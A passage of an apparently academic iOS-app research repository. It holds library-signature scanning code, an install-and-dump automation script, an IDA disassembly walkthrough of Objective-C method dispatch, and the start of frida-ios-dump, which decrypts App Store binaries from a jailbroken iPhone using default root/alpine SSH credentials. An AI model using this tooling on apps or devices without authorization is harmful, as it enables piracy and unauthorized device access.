re.search("Started HTTP Server on port", string_table, re.IGNORECASE) 90 | # res2 = re.search("Started HTTP server on port", string_table, re.IGNORECASE) 91 | # res3 = re.search("Started HTTP server on ip", string_table, re.IGNORECASE) 92 | # if (res1 or res2 or res3): 93 | # library.append("CocoaHTTPServer") 94 | res1 = re.search("CocoaHTTPServer", string_table) 95 | res2 = re.search("setDocumentRoot:", string_table) 96 | if (res1 and res2): 97 | library.append("CocoaHTTPServer") 98 | 99 | res = re.search("GCDWebServer", string_table) 100 | if res: 101 | library.append("GCDWebServer") 102 | 103 | res = re.search("pure-ftpd (SERVER)", string_table) 104 | if res: 105 | library.append("Pure-FTPd") 106 | 107 | res = re.search("SSDPDiscoveryProvider", string_table) 108 | if res: 109 | library.append("Connect SDK Core (iOS)") 110 | 111 | res1 = re.search("CDVWKWebViewEngine", string_table) 112 | res2 = re.search("GCDWebServer", string_table) 113 | if res1 and res2: 114 | library.append("Ionic's Webview") 115 | 116 | res = re.search("UnityEngine.iOS", string_table) 117 | if res: 118 | library.append("UnityEngine.iOS") 119 | 120 | res = re.search("Torque 3D", string_table) 121 | if res: 122 | library.append("Torque 3D") 123 | 124 | res1 = re.search("TJHTTPServer", string_table) 125 | res2 = re.search("setDocumentRoot:", string_table) 126 | if (res1 and res2): 127 | library.append("Tapjoy-CocoaHTTPServer-Extension") 128 | 129 | # res = re.search("Tapjoy", string_table) 130 | # if res: 131 | # library.append("Tapjoy") 132 | 133 | res = re.search("TextureStreaming", string_table) 134 | if res: 135 | library.append("Unreal Engine 4") 136 | 137 | res = re.search("ProudNet", string_table) 138 | if res: 139 | library.append("ProudNet") 140 | 141 | res = re.search("dial-multiscreen-org", string_table) 142 | if res: 143 | library.append("DIAL") 144 | 145 | res = re.search("__PJSIP_VERSION__", string_table) 146 | if res: 147 | library.append("PJSIP") 148 | 149 | res = re.search("WebRTC", string_table) 150 | if res: 151 | library.append("WebRTC") 152 | 153 | res = re.search("MobileIMSDK", string_table) 154 | if res: 155 | library.append("MobileIMSDK") 156 | 157 | res = re.search("HappyDNS", string_table) 158 | if res: 159 | library.append("Happy DNS") 160 | 161 | res1 = re.search("boost", string_table) 162 | res2 = re.search("asio", string_table) 163 | res3 = re.search("io_service", string_table) 164 | if (res1 and res2 and res3): 165 | library.append("boost::asio::io_service") 166 | 167 | res = re.search("http://www.plutinosoft.com/", string_table) 168 | if res: 169 | library.append("Platinum UPnP") 170 | 171 | res = re.search("fkuehne", string_table) 172 | if res: 173 | library.append("upnpx") 174 | 175 | res = re.search("PDRCoreHttpDaemon", string_table) 176 | if res: 177 | library.append("PDRCoreHttpDaemon") 178 | 179 | res = re.search("PSLStreaming", string_table) 180 | if res: 181 | library.append("inke SDK") 182 | 183 | res = re.search("TencentVideoHttpProxy", string_table) 184 | if res: 185 | library.append("TencentVideoHttpProxy") 186 | 187 | res = re.search("LocalSocketServer@native@tcms", string_table) 188 | if res: 189 | library.append("wangxin.taobao") 190 | 191 | res = re.search("Mongoose Server is running on", string_table) 192 | if res: 193 | library.append("MongooseDaemon") 194 | 195 | res = re.search("LeTVCDEService", string_table) 196 | if res: 197 | library.append("LeTVCDE") 198 | 199 | res = re.search("libupnp", string_table) 200 | if res: 201 | library.append("libupnp") 202 | 203 | res = re.search("Audiobus", string_table) 204 | if res: 205 | library.append("Audiobus SDK") 206 | 207 | res = re.search("WSPXMtunnelManager", string_table) 208 | if res: 209 | library.append("MAASDK") 210 | 211 | res = re.search("Funshion", string_table) 212 | if res: 213 | library.append("FunTV") 214 | 215 | res = re.search("grpc.socket_mutator", string_table) 216 | if res: 217 | library.append("gRPC") 218 | 219 | res = re.search("YunFanNet", string_table) 220 | if res: 221 | library.append("yfcloud") 222 | 223 | res1 = re.search("GCDAsyncSocket", string_table) 224 | res2 = re.search("AsyncUDPSocket", string_table) 225 | if (res1 or res2): 226 | library.append("CocoaAsyncSocket") 227 | 228 | res = re.search("GCDTelnetServer", string_table) 229 | if res: 230 | library.append("GCDTelnetServer") 231 | 232 | 233 | if len(library) != 0: 234 | library_result[hash] = [category, library] 235 | 236 | return 237 | 238 | counter = 0 239 | def go(): 240 | starttime = datetime.datetime.now() 241 | global counter 242 | docs = ipa_basic_set.find({}, no_cursor_timeout = True) 243 | for doc in docs: 244 | counter += 1 245 | if counter % 100 == 0: 246 | endtime = datetime.datetime.now() 247 | print "counter: " + str(counter) + ", elapsed: " + str((endtime - starttime).seconds ) 248 | string_table = "" 249 | symbol_table = "" 250 | docs_string = ipa_string_table.find( 251 | {'Hash': doc['Hash']}, 252 | {'Value': 1} 253 | ) 254 | for ele in docs_string: 255 | string_table += ele['Value'] 256 | 257 | docs_symbol = ipa_symbol_table.find( 258 | {'Hash': doc['Hash']}, 259 | {'Value': 1} 260 | ) 261 | for ele in docs_symbol: 262 | symbol_table += ele['Value'] 263 | 264 | scan4sig(doc['Hash'], doc['Category'], string_table, symbol_table) 265 | 266 | for i in library_result.values(): 267 | print i 268 | dump_file("library_raw_data.json", library_result) 269 | 270 | return 271 | 272 | if __name__ == '__main__': 273 | reload(sys) 274 | sys.setdefaultencoding('utf8') 275 | #main() 276 | go() -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/auto-proc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | #https://github.com/AloneMonkey/frida-ios-dump 5 | 6 | # to satisfy frida-dump 7 | # sudo pip install -U cryptography==1.7.1 8 | # sudo -H pip install paramiko==2.1.0 9 | 10 | # https://github.com/libimobiledevice/ideviceinstaller 11 | 12 | # test procedure 13 | # 1. syn the account 14 | # 2. ideviceinstaller -i path2app 15 | # 3. frida dump 16 | # 4. ideviceinstaller -U [appId] 17 | 18 | ''' 19 | { "path" : "9a/12/9a12b7840c8be35ad978b8278bae03850521fd93" } 20 | { "path" : "c4/65/c46514d5238750f692159a0391318f8b84c4cd10" } 21 | { "path" : "10/93/1093595feeae7c87c073794e34d5d8abed2067c4" } 22 | { "path" : "61/c7/61c73a5713ff2b5553dd6529bc00f86219a85316" } 23 | { "path" : "67/d8/67d87c28a0a34c706b2f322dc188077144aa8dff" } 24 | { "path" : "88/09/880996cc81843006df65c98459064f0f95dc29f6" } 25 | { "path" : "08/23/08230dfa2272da81455bfaa7516190bb8401fd30" } 26 | { "path" : "22/a2/22a23d7f4d36b39b712d0549fa59291ff8068c81" } 27 | { "path" : "f7/84/f784507f6c6a2cb1aba1e3e86a6ecc03ad15f20c" } 28 | { "path" : "a1/a8/a1a87c69a7285a25011b96b4694af0bd9deade73" } 29 | { "path" : "d6/3e/d63ef12ae974d2af5b5213f15cf569876808ed2c" } 30 | { "path" : "2c/15/2c15db0850653b02633205b3c903a8c75a09ee68" } 31 | { "path" : "fd/4a/fd4a441d7e6e3b17459fee140286b09f0b713472" } 32 | { "path" : "e1/b1/e1b16ca618bb6e93689aed4b1c7bb2e834246ee9" } 33 | { "path" : "d7/a2/d7a2af78609def62c03923f7ad2ad68e5d1013fb" } 34 | { "path" : "4f/6c/4f6c4096de3fc043f5b8f2f6cb411f2974ad0d73" } 35 | { "path" : "38/1c/381ce73c73a0a2d7f35e2e67f09c52aa0f4de5ea" } 36 | { "path" : "6b/1e/6b1e29edbbceba2c0302a1e114937a7f8cde6886" } 37 | { "path" : "d6/97/d6977c9261f8aec6ad24eb5f274e5a9aa330b27b" } 38 | { "path" : "d7/c6/d7c65a4309a00ec9beeb7c4bc83bb518fc683b39" } 39 | { "path" : "72/1e/721ec88b54a1cc45744bb9a7971df19e12fbe52b" } 40 | { "path" : "ae/d9/aed94ce1e62c1ec0356d36d14fb4a9bbae63d533" } 41 | { "path" : "17/09/17099dd88052f4465b0727be39cddc326f825386" } 42 | { "path" : "72/43/724386fb5779a81e7081a8396f5d1a77b2cc76cc" } 43 | { "path" : "b9/1a/b91a12ce7dc990f2cfb54df372669b9f8cba93c9" } 44 | { "path" : "e6/5c/e65c1c3ceea3530ec5c2d81ee5a344f33e1d047b" } 45 | { "path" : "b9/e6/b9e65b208f6a6d1a8f4a839ac1f26b7abe87fc7f" } 46 | { "path" : "59/6c/596cf2b7c37caec2c105305cf2a51b490b132b40" } 47 | { "path" : "98/15/98157792ced6507154ac0833c77b8358602bca2e" } 48 | { "path" : "e4/00/e400a96e77ba26b09812373f11810df1597549fe" } 49 | { "path" : "c1/0c/c10ca4fb52eec48b672436195d2b1844b13b9a79" } 50 | { "path" : "55/f3/55f329319b894ba9488a714cfa92e528344b9540" } 51 | { "path" : "d7/59/d759c4264d529c4ab6c53e32b398b7cd8a396e32" } 52 | { "path" : "f2/e2/f2e2c39b7a8b23f356623aafa48e2befbfde6c10" } 53 | { "path" : "aa/ba/aabafb4f68415510826bdb3e642152e7b2dcf5ea" } 54 | { "path" : "01/a6/01a6e341def86c4d9d9be9bdcbea4c80bdb4e6af" } 55 | { "path" : "fe/c9/fec9a5c4fd375952eb43d4468b7e91341c36ec2d" } 56 | { "path" : "ae/06/ae064b34a332a5f51238017f6ceeb16a40aafc76" } 57 | { "path" : "b7/c2/b7c21e648b70dae1e9cef2da778b1617d5919a5e" } 58 | { "path" : "97/fd/97fdfb0e9ebd00ca857f260a11bb0ce5da06d45a" } 59 | { "path" : "f4/d1/f4d1c5b7e638389ee286615aaa7c744a95fabc43" } 60 | { "path" : "1f/7e/1f7e0eb7eb916bec983b5e484f3ce67e73114abb" } 61 | 62 | 63 | { "path" : "/9f/1e/9f1ec3c9594ee9b597196e2f164653f964c9f01d.ipa" } 64 | { "path" : "/41/25/4125141ae065f2043e9997f91953d9390453adbc.ipa" } 65 | { "path" : "/0c/a1/0ca195b935f5f9dfd401686f5d0293e5df74b6e3.ipa" } 66 | { "path" : "/26/b7/26b7a16b84512670facdd99bb9f03989ff442859.ipa" } 67 | { "path" : "/be/22/be22c37d8ca70ca07c2fb9c811e743098819d91d.ipa" } 68 | { "path" : "/6c/82/6c82c2bc3eb3bfcd517772326db08760508b5abe.ipa" } 69 | { "path" : "/44/eb/44eb864cfbd3b4e66e359d0bd7c2573aa152c171.ipa" } 70 | { "path" : "/fe/f6/fef6b82d7b8d2ebdb47a865cf2ee355d708cd2c8.ipa" } 71 | { "path" : "/a4/20/a4206b45842f04f644f58c0c7a2afb2ef9db0fe0.ipa" } 72 | { "path" : "/b0/a1/b0a10c3f1ddae77c15983049a590e0c14512f037.ipa" } 73 | { "path" : "/ec/14/ec146735df9adb49eb5e4d95242da779bdd51fd0.ipa" } 74 | { "path" : "/8e/04/8e04b5f9ed8b2b410bdb459c985c6f6eadc44c82.ipa" } 75 | 76 | ''' 77 | 78 | import sys, os 79 | import zipfile 80 | from biplist import readPlist 81 | import datetime 82 | from subprocess import Popen, PIPE 83 | import numpy as np 84 | import matplotlib.pyplot as plt 85 | import matplotlib 86 | import json 87 | 88 | reload(sys) 89 | sys.setdefaultencoding('utf8') 90 | 91 | ipa_path = "./ipa_test" 92 | cache_path = "./cache" 93 | 94 | def get_FileSize(filePath): 95 | filePath = unicode(filePath, 'utf8') 96 | fsize = os.path.getsize(filePath) 97 | fsize = fsize/float(1024*1024) 98 | return round(fsize, 2) 99 | 100 | class ipa_parse(object): 101 | ipa_file_path = None 102 | 103 | def __init__(self, ipa_file_path): 104 | ''' 105 | Constructor 106 | ''' 107 | self.ipa_file_path = ipa_file_path 108 | 109 | def get_bin_size(self): 110 | tmp = [] 111 | zfile = zipfile.ZipFile(self.ipa_file_path) 112 | zip_name_list = zfile.namelist() 113 | for name in zip_name_list: 114 | # ./test/手机淘宝.ipa 115 | # Payload/Taobao4iPhone.app/Watch/Taobao4iPhone WatchOS App.app/Info.plist 116 | # Payload/Taobao4iPhone.app/Info.plist 117 | if name.endswith(".app/Info.plist") == 1: 118 | tmp.append(name) 119 | # print name 120 | 121 | real_plist_file = tmp[0] 122 | for t in tmp: 123 | if len(real_plist_file) > len(t): 124 | real_plist_file = t 125 | # print real_plist_file 126 | 127 | with open(os.path.join(cache_path, "Info.plist"), "w") as fwh: 128 | fwh.write(zfile.read(real_plist_file)) 129 | 130 | plist_info_list = readPlist(os.path.join(cache_path, "Info.plist")) 131 | if 'CFBundleExecutable' in plist_info_list: 132 | # print plist_info_list['CFBundleExecutable'] 133 | executable_file = plist_info_list['CFBundleExecutable'] 134 | else: 135 | return "" 136 | os.remove(os.path.join(cache_path, "Info.plist")) 137 | 138 | for name in zip_name_list: 139 | # ./test/手机淘宝.ipa 140 | # Payload/Taobao4iPhone.app/Watch/Taobao4iPhone WatchOS App.app/Info.plist 141 | # Payload/Taobao4iPhone.app/Info.plist 142 | if name.endswith(".app/" + executable_file) == 1: 143 | # print name 144 | break 145 | 146 | retMe = len(zfile.read(name)) 147 | retMe = retMe/float(1024*1024) 148 | 149 | return round(retMe, 2) 150 | 151 | def get_bundle_id(self): 152 | tmp = [] 153 | zfile = zipfile.ZipFile(self.ipa_file_path) 154 | zip_name_list = zfile.namelist() 155 | for name in zip_name_list: 156 | # ./test/手机淘宝.ipa 157 | # Payload/Taobao4iPhone.app/Watch/Taobao4iPhone WatchOS App.app/Info.plist 158 | # Payload/Taobao4iPhone.app/Info.plist 159 | if name.endswith(".app/Info.plist") == 1: 160 | tmp.append(name) 161 | #print name 162 | 163 | real_plist_file = tmp[0] 164 | for t in tmp: 165 | if len(real_plist_file) > len(t): 166 | real_plist_file = t 167 | #print real_plist_file 168 | 169 | with open(os.path.join(cache_path, "Info.plist"), "w") as fwh: 170 | fwh.write(zfile.read(real_plist_file)) 171 | 172 | retMe = readPlist(os.path.join(cache_path, "Info.plist"))['CFBundleIdentifier'] 173 | os.remove(os.path.join(cache_path, "Info.plist")) 174 | return retMe 175 | 176 | 177 | if __name__ == '__main__': 178 | 179 | time_overhead = {} 180 | 181 | print "-= start =- " 182 | for dirpath, dirnames, ifilenames in os.walk(ipa_path): 183 | for ifilename in ifilenames: 184 | ipa_file = os.path.join(dirpath, ifilename) 185 | if ipa_file.endswith(".ipa"): 186 | #print ipa_file 187 | try: 188 | parser = ipa_parse(ipa_file) 189 | 190 | bundle_id = parser.get_bundle_id() 191 | bin_size = parser.get_bin_size() 192 | bundle_size = get_FileSize(ipa_file) 193 | print "*** bundle id: %s, bundle file size: %sM, bin file size: %sM ***" % (bundle_id, bundle_size, bin_size) 194 | 195 | time1 = datetime.datetime.now() 196 | p = Popen("/usr/local/bin/ideviceinstaller -i \"{}\"".format(ipa_file), stdout = PIPE, stderr = PIPE, shell = True) 197 | stdout, stderr = p.communicate() 198 | 199 | time2 = datetime.datetime.now() 200 | # start dumping 201 | 202 | p = Popen("python dump.py \"{}\"".format(bundle_id), stdout = PIPE, stderr = PIPE, shell = True) 203 | stdout, stderr = p.communicate() 204 | time3 = datetime.datetime.now() 205 | # print stdout 206 | # print stderr 207 | # end dumping 208 | 209 | # os.system("ideviceinstaller -i \"{}\"".format(ipa_file)) 210 | # os.system("ideviceinstaller -U \"{}\"".format(bundle_id)) 211 | p = Popen("/usr/local/bin/ideviceinstaller -U \"{}\"".format(bundle_id), stdout = PIPE, stderr = PIPE, shell = True) 212 | stdout, stderr = p.communicate() 213 | 214 | print '*** Time elapsed: %ss, install %ss, dump %ss ***' % ((time3 - time1).seconds, (time2 - time1).seconds, (time3 - time2).seconds) 215 | 216 | time_overhead[bundle_id] = [bundle_size, bin_size, (time3 - time1).seconds, (time2 - time1).seconds, (time3 - time2).seconds] 217 | 218 | except Exception as e: 219 | print(e) 220 | continue 221 | with open('6s.json', 'w') as f: 222 | json.dump(time_overhead, f) 223 | 224 | print "-= end =- " 225 | -------------------------------------------------------------------------------- /Static analysis/test case/Inheritance-1/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // case comes from Learn.Objective-C.on.the.Mac.2nd.Edition, Section 4 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | typedef enum{ 24 | 25 | kCircle, 26 | 27 | kRectangle, 28 | 29 | kEgg 30 | 31 | } ShapeType; 32 | 33 | 34 | 35 | typedef enum{ 36 | 37 | kRedColor, 38 | 39 | kGreenColor, 40 | 41 | kBlueColor 42 | 43 | } ShapeColor; 44 | 45 | 46 | 47 | typedef struct { 48 | 49 | int x, y, width, height; 50 | 51 | }ShapeRect; 52 | 53 | 54 | 55 | @interface Shape: NSObject{ 56 | 57 | ShapeColor fillColor; 58 | 59 | ShapeRect bounds; 60 | 61 | } 62 | 63 | -(void) setFillColor: (ShapeColor) fillColor; 64 | 65 | -(void) setBounds: (ShapeRect) bounds; 66 | 67 | -(void) draw; 68 | 69 | @end 70 | 71 | 72 | 73 | @implementation Shape 74 | 75 | 76 | 77 | -(void) setFillColor:(ShapeColor)c 78 | 79 | { 80 | 81 | fillColor = c; 82 | 83 | } 84 | 85 | 86 | 87 | -(void) setBounds: (ShapeRect)b 88 | 89 | { 90 | 91 | bounds = b; 92 | 93 | } 94 | 95 | 96 | 97 | -(void)draw 98 | 99 | { 100 | 101 | 102 | 103 | } 104 | 105 | 106 | 107 | @end 108 | 109 | 110 | 111 | 112 | 113 | @interface Circle : Shape 114 | 115 | @end 116 | 117 | 118 | 119 | 120 | 121 | @implementation Circle 122 | 123 | 124 | 125 | -(void)draw 126 | 127 | { 128 | 129 | NSLog(@"Circle"); 130 | 131 | } 132 | 133 | 134 | 135 | @end 136 | 137 | 138 | 139 | @interface Rectangle : Shape 140 | 141 | @end 142 | 143 | 144 | 145 | 146 | 147 | @implementation Rectangle 148 | 149 | 150 | 151 | -(void)draw 152 | 153 | { 154 | 155 | NSLog(@"Rectangle"); 156 | 157 | } 158 | 159 | 160 | 161 | @end 162 | 163 | 164 | 165 | 166 | 167 | void drawShapes(__strong id shapes[], int count) 168 | 169 | { 170 | 171 | for ( int i = 0; i < count; i ++) 172 | 173 | { 174 | 175 | id shape = shapes[i]; 176 | 177 | [shape draw]; 178 | 179 | } 180 | 181 | } 182 | 183 | 184 | 185 | int main(int argc, char * argv[]) { 186 | 187 | @autoreleasepool { 188 | 189 | 190 | 191 | id shapes[3]; 192 | 193 | 194 | 195 | ShapeRect rect0 = {0, 0, 10, 30}; 196 | 197 | shapes[0] = [Circle new]; 198 | 199 | [(Circle *)shapes[0] setBounds: rect0]; 200 | 201 | [(Circle *)shapes[0] setFillColor: kRedColor]; 202 | 203 | 204 | 205 | ShapeRect rect1 = {0, 0, 10, 30}; 206 | 207 | shapes[1] = [Rectangle new]; 208 | 209 | [(Rectangle *)shapes[1] setBounds: rect1]; 210 | 211 | [(Rectangle *)shapes[1] setFillColor: kRedColor]; 212 | 213 | 214 | 215 | drawShapes (shapes, 2); 216 | 217 | 218 | 219 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 220 | 221 | } 222 | 223 | } 224 | 225 | 226 | 227 | 228 | 229 | IDA output for: 230 | 231 | 232 | 233 | ShapeRect rect0 = {0, 0, 10, 30}; 234 | 235 | shapes[0] = [Circle new]; 236 | 237 | [(Circle *)shapes[0] setBounds: rect0]; 238 | 239 | [(Circle *)shapes[0] setFillColor: kRedColor]; 240 | 241 | 242 | 243 | ShapeRect rect1 = {0, 0, 10, 30}; 244 | 245 | shapes[1] = [Rectangle new]; 246 | 247 | [(Rectangle *)shapes[1] setBounds: rect1]; 248 | 249 | [(Rectangle *)shapes[1] setFillColor: kRedColor]; 250 | 251 | 252 | 253 | 254 | 255 | __text:00000001000068F4 ADRP X8, #classRef_Circle@PAGE 256 | 257 | __text:00000001000068F8 LDR X8, [X8,#classRef_Circle@PAGEOFF] 258 | 259 | __text:00000001000068FC ADRP X1, #selRef_new@PAGE 260 | 261 | __text:0000000100006900 LDR X30, [X1,#selRef_new@PAGEOFF] 262 | 263 | 264 | 265 | ; ea_cur = 0x0000000100006900 266 | 267 | 268 | ; print hex(idc.GetOperandValue(ea_cur, 1)) 269 | 270 | ; displacement = 0xf78L 271 | 272 | 273 | 274 | __text:0000000100006904 STR X0, [SP,#0xB0+var_60] 275 | 276 | __text:0000000100006908 MOV X0, X8 ; void * 277 | 278 | __text:000000010000690C STR X1, [SP,#0xB0+var_68] 279 | 280 | ; preserved address of the page without offset 281 | 282 | __text:0000000100006910 MOV X1, X30 ; char * 283 | 284 | __text:0000000100006914 BL _objc_msgSend 285 | 286 | __text:0000000100006918 LDUR X8, [X29,#var_20] 287 | 288 | __text:000000010000691C STUR X0, [X29,#var_20] 289 | 290 | __text:0000000100006920 MOV X0, X8 291 | 292 | __text:0000000100006924 BL _objc_release 293 | 294 | __text:0000000100006928 LDUR X0, [X29,#var_20] 295 | 296 | __text:000000010000692C ADRP X8, #selRef_setBounds_@PAGE 297 | 298 | __text:0000000100006930 LDR X1, [X8,#selRef_setBounds_@PAGEOFF] ; char * 299 | 300 | __text:0000000100006934 LDUR X3, [X29,#var_40+8] 301 | 302 | __text:0000000100006938 LDUR X2, [X29,#var_40] 303 | 304 | __text:000000010000693C STR X8, [SP,#0xB0+var_70] 305 | 306 | __text:0000000100006940 BL _objc_msgSend 307 | 308 | 309 | ; analysis result: [ Circle setBounds_ ] 310 | 311 | ; However, there is no implementation in `Circle` class object, so, we need class hierarchy to find the real implementation of this method. 312 | 313 | ; this process simulate `the Objective-C method dispatcher` work to searches for the method in the current class. If the dispatcher doesn’t find the method in the class of the object receiving the message, it looks at the object’s superclasses. 314 | 315 | 316 | ; __objc_const:0000000100008E48 _OBJC_INSTANCE_METHODS_Circle __objc2_meth_list <0x18, 1> 317 | 318 | ; __objc_const:0000000100008E48 ; DATA XREF: __objc_const:Circle_$classData↓o 319 | 320 | 321 | 322 | ; __objc_const:0000000100008E50 __objc2_meth ; -[Circle draw] ... 323 | 324 | 325 | the _class_t (prefix with `_OBJC_CLASS_`) structure defined the super class of this class. 326 | 327 | 328 | ; __objc_data:00000001000090E0 _OBJC_CLASS_$_Circle __objc2_class <_OBJC_METACLASS_$_Circle, _OBJC_CLASS_$_Shape, \ 329 | 330 | ; __objc_data:00000001000090E0 ; DATA XREF: __objc_classlist:00000001000080D0↑o 331 | 332 | ; __objc_data:00000001000090E0 ; __objc_classrefs:classRef_Circle↑o 333 | 334 | 335 | 336 | ; __objc_data:00000001000090E0 __objc_empty_cache, 0, Circle_$classData> 337 | 338 | 339 | 340 | __text:0000000100006944 LDUR X0, [X29,#var_20] 341 | 342 | __text:0000000100006948 ADRP X8, #selRef_setFillColor_@PAGE 343 | 344 | __text:000000010000694C LDR X1, [X8,#selRef_setFillColor_@PAGEOFF] ; char * 345 | 346 | __text:0000000100006950 LDUR W2, [X29,#var_54] 347 | 348 | __text:0000000100006954 BL _objc_msgSend 349 | 350 | __text:0000000100006958 ADRP X8, #xmmword_100007F80@PAGE 351 | 352 | __text:000000010000695C ADD X8, X8, #xmmword_100007F80@PAGEOFF 353 | 354 | __text:0000000100006960 LDR Q0, [X8] 355 | 356 | __text:0000000100006964 STUR Q0, [X29,#var_50] 357 | 358 | __text:0000000100006968 ADRP X8, #classRef_Rectangle@PAGE 359 | 360 | __text:000000010000696C LDR X0, [X8,#classRef_Rectangle@PAGEOFF] ; void * 361 | 362 | __text:0000000100006970 LDR X8, [SP,#0xB0+var_68] 363 | 364 | ; loads a doubleword from memory preserved page address 365 | 366 | __text:0000000100006974 LDR X1, [X8,#0xF78] ; char * 367 | 368 | 369 | 370 | 371 | ; ea_cur = 0x0000000100006974 372 | 373 | 374 | ; print hex(idc.GetOperandValue(ea_cur, 1)) 375 | 376 | 377 | 378 | ; displacement = 0xf78L 379 | 380 | 381 | 382 | ; `X0` now point to `new` selector. but IDA can not process this case well, so we failed to get the `selector`. 383 | 384 | __text:0000000100006978 BL _objc_msgSend 385 | 386 | __text:000000010000697C LDUR X8, [X29,#var_18] 387 | 388 | __text:0000000100006980 STUR X0, [X29,#var_18] 389 | 390 | __text:0000000100006984 MOV X0, X8 391 | 392 | __text:0000000100006988 BL _objc_release 393 | 394 | __text:000000010000698C LDUR X8, [X29,#var_18] 395 | 396 | __text:0000000100006990 LDR X0, [SP,#0xB0+var_70] 397 | 398 | __text:0000000100006994 LDR X1, [X0,#0xF80] ; char * 399 | 400 | __text:0000000100006998 LDUR X3, [X29,#var_50+8] 401 | 402 | __text:000000010000699C LDUR X30, [X29,#var_50] 403 | 404 | __text:00000001000069A0 MOV X0, X8 ; void * 405 | 406 | __text:00000001000069A4 MOV X2, X30 407 | 408 | __text:00000001000069A8 BL _objc_msgSend 409 | 410 | __text:00000001000069AC MOV W9, #0 411 | 412 | __text:00000001000069B0 ADRP X8, #selRef_setFillColor_@PAGE 413 | 414 | __text:00000001000069B4 ADD X8, X8, #selRef_setFillColor_@PAGEOFF 415 | 416 | __text:00000001000069B8 LDUR X0, [X29,#var_18] 417 | 418 | __text:00000001000069BC LDR X1, [X8] ; "setFillColor:" 419 | 420 | __text:00000001000069C0 MOV X2, X9 421 | 422 | __text:00000001000069C4 BL _objc_msgSend 423 | 424 | __text:00000001000069C8 MOV W1, #2 425 | 426 | __text:00000001000069CC SUB X0, X29, #-var_20 427 | 428 | 429 | __text:00000001000069D0 BL _drawShapes 430 | 431 | 432 | 433 | 434 | 435 | -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/dump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : AloneMonkey 5 | # blog: www.alonemonkey.com 6 | 7 | from __future__ import print_function 8 | from __future__ import unicode_literals 9 | import sys 10 | import codecs 11 | import frida 12 | import threading 13 | import os 14 | import shutil 15 | import time 16 | import argparse 17 | import tempfile 18 | import subprocess 19 | import re 20 | import paramiko 21 | from paramiko import SSHClient 22 | from scp import SCPClient 23 | from tqdm import tqdm 24 | import traceback 25 | 26 | if sys.version_info[0] < 3: 27 | reload(sys) 28 | sys.setdefaultencoding('utf8') 29 | 30 | script_dir = os.path.dirname(os.path.realpath(__file__)) 31 | 32 | DUMP_JS = os.path.join(script_dir, 'dump.js') 33 | 34 | User = 'root' 35 | Password = 'alpine' 36 | Host = 'localhost' 37 | Port = 2222 38 | 39 | TEMP_DIR = tempfile.gettempdir() 40 | PAYLOAD_DIR = 'Payload' 41 | PAYLOAD_PATH = os.path.join(TEMP_DIR, PAYLOAD_DIR) 42 | file_dict = {} 43 | 44 | finished = threading.Event() 45 | 46 | 47 | def get_usb_iphone(): 48 | Type = 'usb' 49 | if int(frida.__version__.split('.')[0]) < 12: 50 | Type = 'tether' 51 | device_manager = frida.get_device_manager() 52 | changed = threading.Event() 53 | 54 | def on_changed(): 55 | changed.set() 56 | 57 | device_manager.on('changed', on_changed) 58 | 59 | device = None 60 | while device is None: 61 | devices = [dev for dev in device_manager.enumerate_devices() if dev.type == Type] 62 | if len(devices) == 0: 63 | print('Waiting for USB device...') 64 | changed.wait() 65 | else: 66 | device = devices[0] 67 | 68 | device_manager.off('changed', on_changed) 69 | 70 | return device 71 | 72 | 73 | def generate_ipa(path, display_name): 74 | ipa_filename = display_name + '.ipa' 75 | 76 | print('Generating "{}"'.format(ipa_filename)) 77 | try: 78 | app_name = file_dict['app'] 79 | 80 | for key, value in file_dict.items(): 81 | from_dir = os.path.join(path, key) 82 | to_dir = os.path.join(path, app_name, value) 83 | if key != 'app': 84 | shutil.move(from_dir, to_dir) 85 | 86 | target_dir = './' + PAYLOAD_DIR 87 | zip_args = ('zip', '-qr', os.path.join(os.getcwd(), ipa_filename), target_dir) 88 | subprocess.check_call(zip_args, cwd=TEMP_DIR) 89 | shutil.rmtree(PAYLOAD_PATH) 90 | except Exception as e: 91 | print(e) 92 | finished.set() 93 | 94 | def on_message(message, data): 95 | t = tqdm(unit='B',unit_scale=True,unit_divisor=1024,miniters=1) 96 | last_sent = [0] 97 | 98 | def progress(filename, size, sent): 99 | t.desc = os.path.basename(filename).decode("utf-8") 100 | t.total = size 101 | t.update(sent - last_sent[0]) 102 | last_sent[0] = 0 if size == sent else sent 103 | 104 | if 'payload' in message: 105 | payload = message['payload'] 106 | if 'dump' in payload: 107 | origin_path = payload['path'] 108 | dump_path = payload['dump'] 109 | 110 | scp_from = dump_path 111 | scp_to = PAYLOAD_PATH + '/' 112 | 113 | with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp: 114 | scp.get(scp_from, scp_to) 115 | 116 | chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(dump_path)) 117 | chmod_args = ('chmod', '655', chmod_dir) 118 | try: 119 | subprocess.check_call(chmod_args) 120 | except subprocess.CalledProcessError as err: 121 | print(err) 122 | 123 | index = origin_path.find('.app/') 124 | file_dict[os.path.basename(dump_path)] = origin_path[index + 5:] 125 | 126 | if 'app' in payload: 127 | app_path = payload['app'] 128 | 129 | scp_from = app_path 130 | scp_to = PAYLOAD_PATH + '/' 131 | with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp: 132 | scp.get(scp_from, scp_to, recursive=True) 133 | 134 | chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(app_path)) 135 | chmod_args = ('chmod', '755', chmod_dir) 136 | try: 137 | subprocess.check_call(chmod_args) 138 | except subprocess.CalledProcessError as err: 139 | print(err) 140 | 141 | file_dict['app'] = os.path.basename(app_path) 142 | 143 | if 'done' in payload: 144 | finished.set() 145 | t.close() 146 | 147 | def compare_applications(a, b): 148 | a_is_running = a.pid != 0 149 | b_is_running = b.pid != 0 150 | if a_is_running == b_is_running: 151 | if a.name > b.name: 152 | return 1 153 | elif a.name < b.name: 154 | return -1 155 | else: 156 | return 0 157 | elif a_is_running: 158 | return -1 159 | else: 160 | return 1 161 | 162 